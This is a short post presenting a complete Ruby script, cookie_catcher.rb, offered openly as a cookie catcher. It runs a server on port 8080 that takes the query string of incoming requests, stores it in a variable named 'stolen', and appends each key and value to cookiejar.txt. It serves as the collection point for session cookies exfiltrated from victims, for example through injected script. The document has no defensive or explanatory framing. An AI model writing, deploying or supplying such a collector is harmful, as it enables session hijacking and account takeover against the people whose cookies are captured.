A simple cookie catcher written in ruby.

cookie_catcher.rb

#!/usr/bin/env ruby -wKU

require 'gserver'
require 'cgi'

class CookieCatcher < GServer
  def serve client
    request = client.gets    # just get first line, who cares about rest
    url = request.gsub(/GET /, '').gsub(/ HTTP.*/, '')    # rip url out of http request
    stolen = CGI::parse(url[url.index("?")+1..-1])  # parse query
    File.open("cookiejar.txt", "a+") do |f|
      f.puts "=============================================="
      stolen.each_pair do |key, value|
        f.puts "#{key}: #{value.first}"
      end
    end
  end
end

server = CookieCatcher.new 8080, "0.0.0.0"
server.start
server.join